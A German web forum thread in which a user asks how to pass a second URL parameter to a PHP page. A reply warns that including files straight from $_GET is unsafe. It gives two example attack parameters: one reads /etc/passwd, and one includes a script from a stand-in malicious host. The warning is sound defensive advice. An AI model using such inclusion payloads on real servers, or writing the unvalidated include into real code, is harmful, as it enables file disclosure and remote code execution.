hallo !
habe mir eine php gebastelt die ein div - element enthält und der inhalt von diesem is mitübergebenen parameter abhängig
z.b. http://localhost/php/index.php?content=gallery
hier würde in der div dann der inhalt von gallery dargestellt funktionietr auch perfekt auf diese weise nur jetzt hab ich in meiner div nochmal ein div un möchte diesen inhalt wieder dynamisch gestalten. dieser soll von einem 2ten parameter abhänhgig sein der per hyperlink mit übergeben wird ....
jedoch find ich nicht wie der syntax dafür lauten soll :
http://localhost/php/index.php?content=gallery?gallery=sxdx geht nicht
danke
matthias
Homepage selbermachen 7.847 Themen, 35.565 Beiträge
Angenommen Du machstwirklich folgendes:
include($_GET['content'].'.php');
und nehmen wir jetzt mal weiter an, in PHP ist der Parameter allow_url_fopenwrappers auf On, was er standardmäßig auch auf fast allen Servern ist. Nimm jetzt mal an, ich will was böses auf deinem Server, dann geht je nach Sicherheitskonfiguration des Servers so einiges. Überlege mal was der Server eventuell mit folgenden übergebenen Parametern machen könnte:
?content=/etc/passwd
?content=http://boser-server.com/boeses-script.php
:o)